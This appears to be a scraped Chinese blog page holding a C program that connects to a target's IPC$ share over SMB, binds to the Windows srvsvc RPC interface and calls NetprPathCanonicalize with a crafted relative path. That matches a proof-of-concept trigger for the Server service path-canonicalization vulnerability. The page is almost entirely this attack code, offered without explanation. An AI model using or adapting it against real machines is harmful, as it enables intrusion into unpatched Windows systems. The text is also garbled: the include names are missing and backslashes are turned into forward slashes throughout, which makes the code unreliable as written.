RPC

#include #include #include #include #include #include #include #include "srvsvc.h" #include "srvsvc_c.c" #include "mem.h" #pragma comment(lib,"ws2_32") #pragma comment(lib,"mpr") #pragma comment(lib,"rpcrt4.lib") #pragma comment(lib,"MSVCRT.LIB") wchar_t PathName[]=L".//aa//bb//..//cc"; wchar_t OutBuff[0x256]={0}; long PathType=1; void main(int argc, char *argv[]) { NETRESOURCE lpNetResource; char Username[256] = {0}; char Password[256] = {0}; DWORD Ret = 0; RPC_STATUS status; unsigned char * pszUuid = NULL; unsigned char * pszProtocolSequence = "ncacn_np"; unsigned char * pszNetworkAddress = ""; unsigned char pszEndpoint[100] = "//pipe//browser"; unsigned char * pszOptions = NULL; unsigned char * pszStringBinding = NULL; char Server[256] = {0}; char RemoteName[256] = {0}; if(argc != 2) { MessageBox(NULL,"Input IP Adress please……","Err",MB_OK); return; } strcpy(Server,argv[1]); sprintf(RemoteName,"%s//IPC$",Server); pszNetworkAddress = Server; lpNetResource.dwScope=RESOURCE_CONNECTED; lpNetResource.dwType =RESOURCETYPE_DISK; lpNetResource.dwDisplayType=RESOURCEDISPLAYTYPE_SHARE; lpNetResource.dwUsage=RESOURCEUSAGE_CONNECTABLE; lpNetResource.lpLocalName=NULL; lpNetResource.lpRemoteName = RemoteName; lpNetResource.lpComment=NULL; lpNetResource.lpProvider=NULL; //不一定要建立SMB Connection! Ret = WNetAddConnection2(&lpNetResource,Username,Password,CONNECT_UPDATE_PROFILE); if(Ret != NO_ERROR) { printf("Make SMB Connection error:%d/n",GetLastError()); return; } printf("SMB Connect OK!/n"); status = RpcStringBindingCompose(pszUuid, pszProtocolSequence, pszNetworkAddress, pszEndpoint, pszOptions, &pszStringBinding); if(status != RPC_S_OK) { return; } status = RpcBindingFromStringBinding(pszStringBinding,&srvsvc__MIDL_AutoBindHandle); if(status != RPC_S_OK) { return; } RpcTryExcept { if(NetprPathCanonicalize(L"better0332",PathName,OutBuff,0x256*2,L"",&PathType,0)==0) { printf("NetprPathCanonicalize Success!!/n"); } } RpcExcept ( 1 ) { printf("RpcExceptionCode() = %u/r/n", status ); return; } RpcEndExcept RpcStringFree( &pszStringBinding ); RpcBindingFree( &srvsvc__MIDL_AutoBindHandle ); return; }

你可能感兴趣的:(server,include,input,null)